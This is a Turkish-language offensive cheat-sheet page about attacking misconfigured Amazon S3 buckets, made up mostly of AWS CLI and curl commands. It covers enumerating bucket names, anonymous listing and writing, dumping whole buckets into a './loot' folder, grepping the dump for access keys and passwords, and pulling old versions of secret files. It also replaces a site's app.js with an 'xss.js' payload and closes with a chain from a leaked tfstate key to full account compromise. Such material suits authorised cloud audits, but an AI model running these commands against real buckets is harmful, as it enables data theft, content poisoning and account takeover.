Skip to content

AWS — S3 Yanlış Yapılandırmaları

AWS veri ifşası

AWS veri ifşası

Amazon S3, en sık veri sızıntısı kaynaklarından biridir. Public bucket’lar, gevşek ACL/policy’ler, yazma izinleri ve sızmış pre-signed URL’ler hem veri ifşasına hem de içerik zehirlemeye (JS/CDN, yazılım güncellemesi) yol açar.

- Bucket adı (tahmin, OSINT, DNS, JS, hata mesajı, cloud_enum)
- Anonim erişim denemesi (--no-sign-request) ve/veya geçerli AWS kimliği
- Bölge farkı: bucket bölgesi yanlışsa redirect/hata alırsın
Terminal window
aws s3 ls s3://<bucket> --no-sign-request
Terminal window
aws s3 ls s3://<bucket> --no-sign-request --region us-east-1
Terminal window
curl -sI https://<bucket>.s3.amazonaws.com/
Terminal window
curl -s https://<bucket>.s3.amazonaws.com/ # public list XML
Terminal window
curl -s https://<bucket>.s3.<region>.amazonaws.com/
Terminal window
curl -s http://<bucket>.s3-website-<region>.amazonaws.com/
Terminal window
cloud_enum -k <sirket>
Terminal window
s3scanner scan --buckets-file names.txt

Bucket adları globaldir; şirket adı + -prod, -backup, -assets, -dev, -staging, -logs, -tfstate, -artifacts sonekleriyle tahmin edilir.

Kimlikli listeleme:

Terminal window
aws s3 ls
Terminal window
aws s3api list-buckets
Terminal window
aws s3 ls s3://<bucket> --recursive --human-readable
Terminal window
aws s3api list-objects-v2 --bucket <bucket> --max-items 50
  1. Anonim okuma — –no-sign-request ile listeleme/indirme çalışıyor mu. Tek dosya: aws s3 cp s3://bucket/secret.env - –no-sign-request .

  2. Anonim yazma — aws s3 cp test.txt s3://<bucket>/ –no-sign-request ; başarılıysa içerik zehirleme / defacement / malware drop mümkün. PutObject + public-read ACL ile kalıcı public dosya da bırakılabilir.

  3. ACL & policy — get-bucket-acl , get-bucket-policy , get-public-access-block ; AllUsers / AuthenticatedUsers grant’ları, Principal: “*” içeren policy’ler.

  4. Pre-signed URL / sızıntı — kaynak kod, JS, wayback, GitHub, Slack; süresi dolmamış URL’ler; ayrıca aws s3 presign ile kendi yetkinle üretip paylaşım yüzeyi ölç.

Terminal window
aws s3api get-bucket-acl --bucket <bucket>
Terminal window
aws s3api get-bucket-policy --bucket <bucket>
Terminal window
aws s3api get-public-access-block --bucket <bucket>
Terminal window
aws s3api get-bucket-cors --bucket <bucket>
Terminal window
aws s3api get-bucket-logging --bucket <bucket>
Terminal window
aws s3api get-bucket-versioning --bucket <bucket>
Terminal window
aws s3api get-bucket-website --bucket <bucket>
Terminal window
aws s3api get-object-acl --bucket <bucket> --key path/file
AuthenticatedUsers (ACL) → herhangi bir AWS hesabı okuyabilir/yazabilir
Principal: "*" → tamamen public
Principal: başka hesap → intentional share mi, yoksa fazla mı?
s3:GetObject on Resource arn:aws:s3:::bucket/* without condition
Terminal window
aws s3 ls s3://<bucket> # kendi düşük yetkili hesabınla dene
*.tfstate / terraform.tfstate → cloud keys, DB password
*.pem, *.key, id_rsa, *.pfx
.env, credentials, config.json
*.sql, *.bak, dump, backup
*.log (CloudTrail/app) — bazen key sızdırır
static JS (API keys, Cognito, Firebase)
Terminal window
aws s3 sync s3://<bucket> ./loot --no-sign-request
Terminal window
aws s3 sync s3://<bucket> ./loot
Terminal window
grep -RniE 'AKIA|ASIA|secret|password|BEGIN RSA' loot/
Terminal window
aws s3 cp xss.js s3://assets-bucket/app.js --no-sign-request \
--content-type application/javascript
Terminal window
aws s3api list-object-versions --bucket <bucket>
Terminal window
aws s3api get-object --bucket <bucket> --key secrets.env \
--version-id <VID> outfile

AWS · S3 list anon

embedded tool
Generated command
aws s3 ls s3://target-bucket --no-sign-request
cloud_enum → public bucket list
→ terraform.tfstate içinde AKIA
→ sts get-caller-identity
→ IAM enum / Secrets Manager
→ tam hesap etkisi